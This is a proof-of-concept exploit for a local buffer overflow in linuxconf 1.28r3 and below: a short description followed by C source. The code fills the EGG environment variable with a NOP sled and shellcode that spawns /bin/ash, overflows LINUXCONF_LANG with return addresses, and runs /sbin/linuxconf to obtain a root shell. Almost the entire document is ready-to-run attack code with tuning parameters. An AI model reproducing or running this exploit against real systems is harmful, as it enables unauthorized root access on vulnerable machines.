Proof of Concept exploit for the local buffer overflow vulnerability existing in linuxconf v1.28r3 and below which allows users to spawn a root shell. Tested on RedHat 7.0 with linuxconf 1.25r3.
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/*
* This is an exploit for the linuxconf overflow issue.
*
* The details of this hole was published on 08.28.2002 by
* David Endler from www.idefense.com.
*
* Tested to work on Redhat 7.0 with linuxconf 1.25r3.
* [The magic numbers that worked for me are: 980 500 2048 1]
*
* This is an classical example of stack smashing. Large portion
* of code were ripped from Aleph1's. So, credits due to him.
*
* Flame or comment goes to: jinyean@hotmail.com
*
*/
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_ALIGN 0
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 980
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[]=
"\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89"
"\x46\x0d\xb0\x0b\x89\xf3\x8d\x4e\x09\x8d\x56\x0d"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
"\xff\xff/bin/ash";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE, align=DEFAULT_ALIGN;
if (argc>1) bsize=atoi(argv[1]);
if (argc>2) offset=atoi(argv[2]);
if (argc>3) eggsize=atoi(argv[3]);
if (argc>4) align=atoi(argv[4]);
if (!(buff=malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg=malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr=get_esp()-offset;
printf("Using address: 0x%x\n",addr);
ptr=buff;
addr_ptr=(long *)(ptr+align);
for (i=0; i<bsize; i+=4)
*(addr_ptr++)=addr;
ptr=egg;
for (i=0; i<eggsize-strlen(shellcode)-1; i++)
*(ptr++)=NOP;
for (i=0; i<strlen(shellcode); i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='\0';
egg[eggsize-1]='\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"LINUXCONF_LANG=",15);
putenv(buff);
execl("/sbin/linuxconf","linuxconf",NULL);
}